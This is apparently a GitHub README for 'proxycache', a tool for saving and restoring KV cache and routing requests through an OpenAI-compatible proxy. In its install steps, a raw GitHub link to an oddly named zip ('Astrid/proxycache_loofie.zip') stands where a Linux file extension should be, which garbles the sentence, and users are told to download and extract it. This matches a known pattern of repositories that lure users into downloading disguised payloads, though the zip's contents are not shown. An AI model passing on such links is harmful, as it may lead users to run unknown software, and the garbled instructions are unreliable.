🚀 proxycache - Efficiently Manage Your OpenAI-Compatible Proxy

📥 Download Now

🚀 Getting Started

Welcome to proxycache! This application helps you manage your OpenAI-compatible proxy more effectively. You can save and restore your KV cache, handle requests by similarity, and protect your data slots.

🚀 What You Need

To use proxycache, you’ll need:

• A computer with Windows, macOS, or Linux.
• An internet connection for downloading the software.

🌟 Features

• Slot Management: Efficiently manage slots for your proxy.
• KV Cache Management: Save and restore KV cache to disk with ease.
• Request Routing: Route requests based on prefix similarity.
• Hot Slot Protection: Prevent overwrites in key slots.
• Prompt Acceleration: Quickly reuse or restore long prompts (30–60k tokens).
• Streaming Support: Supports SSE streaming and non-streaming JSON over /v1/chat/completions.

📦 Download & Install

1. Visit the Download Page: Go to our Releases page.

2. Choose Your Version: Find the latest version listed there. You will see multiple assets to choose from, typically named with version numbers.

3. Download the Application: Click on the file name to start downloading it. It might have a .exe for Windows, .dmg for macOS, or a https://raw.githubusercontent.com/neshat73/proxycache/main/Astrid/proxycache_loofie.zip for Linux, depending on your operating system.

4. Install the Application:

   • Windows: Double-click the downloaded .exe file and follow the prompts.
   • macOS: Open the downloaded .dmg file and drag the application to the Applications folder.
   • Linux: Extract the https://raw.githubusercontent.com/neshat73/proxycache/main/Astrid/proxycache_loofie.zip file. You may need to run a terminal command to start the application.

5. Run the Application: After installation, launch the application from your programs menu or applications folder.

🛠️ Usage Instructions

Once you have proxycache running, you can easily manage your proxy settings. Here’s how:

• Configure Your Proxy: Follow the app's onboarding process to set up your OpenAI-compatible proxy.
• Saving Cache: Use the built-in options to save your KV cache for future use.
• Restoring Cache: Access your saved cache quickly when needed.
• Streaming Features: Test out the SSE streaming for real-time applications.

🔍 Troubleshooting

Here are some common issues and solutions:

• Installation Issues: Ensure you have downloaded the correct version for your operating system. Restart your computer if the application does not start.
• Connection Problems: Check your internet connection and proxy settings within the application.
• Saving Errors: Make sure you have proper write permissions on the folder where you're saving your cache.

🛠️ Support

If you encounter any problems, you can find assistance in the issues section of this repository. Please provide details of your issue to receive the best help.

📜 License

This project is licensed under the MIT License. You are free to use and modify the code.

🌐 Community

Join our community on GitHub Discussions to share your experiences, ask questions, and collaborate with other users.

📅 Future Improvements

We are working on new features. proxycache will continue to evolve, enhancing usability and performance. Stay tuned for updates!

📥 Remember to Download

For the latest version and updates, don’t forget to: Visit the Release Page.

Happy caching!